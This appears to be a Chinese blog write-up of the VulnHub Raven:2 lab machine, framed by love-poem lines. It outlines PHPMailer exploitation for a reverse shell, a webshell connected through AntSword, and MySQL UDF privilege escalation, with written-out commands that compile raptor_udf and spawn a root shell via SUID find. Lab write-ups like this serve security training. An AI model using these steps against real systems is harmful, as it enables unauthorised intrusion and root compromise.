VulnHub靶机 | Raven:2

发布于 2022-10-24  446 次阅读


"晓看天色暮看云,行也思君,坐也思君。"

复现过程

主机探测

端口探测

  • 访问80端口

目录扫描

  • 查看目录/vendor/
  • 发现有phpmailer
  • 使用searchsploit搜索漏洞

GetShell

  • 使用40974.py脚本
  • 成功反弹shell

权限提升

  • 插入一句话木马,使用中国蚁剑连接
  • 查看wordpress目录发现数据库配置文件
  • 上传信息搜集脚本
  • 运行脚本
  • 下载数据库提权exp
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
  • 将编译后的文件上传到/tmp目录
  • 执行sql语句,为find添加suid权限

提权成功

  • 创建文件axinyi
touch axinyi
find axinyi -exec "/bin/sh" \;


我从未觉得繁琐,说浪漫些,我很爱你。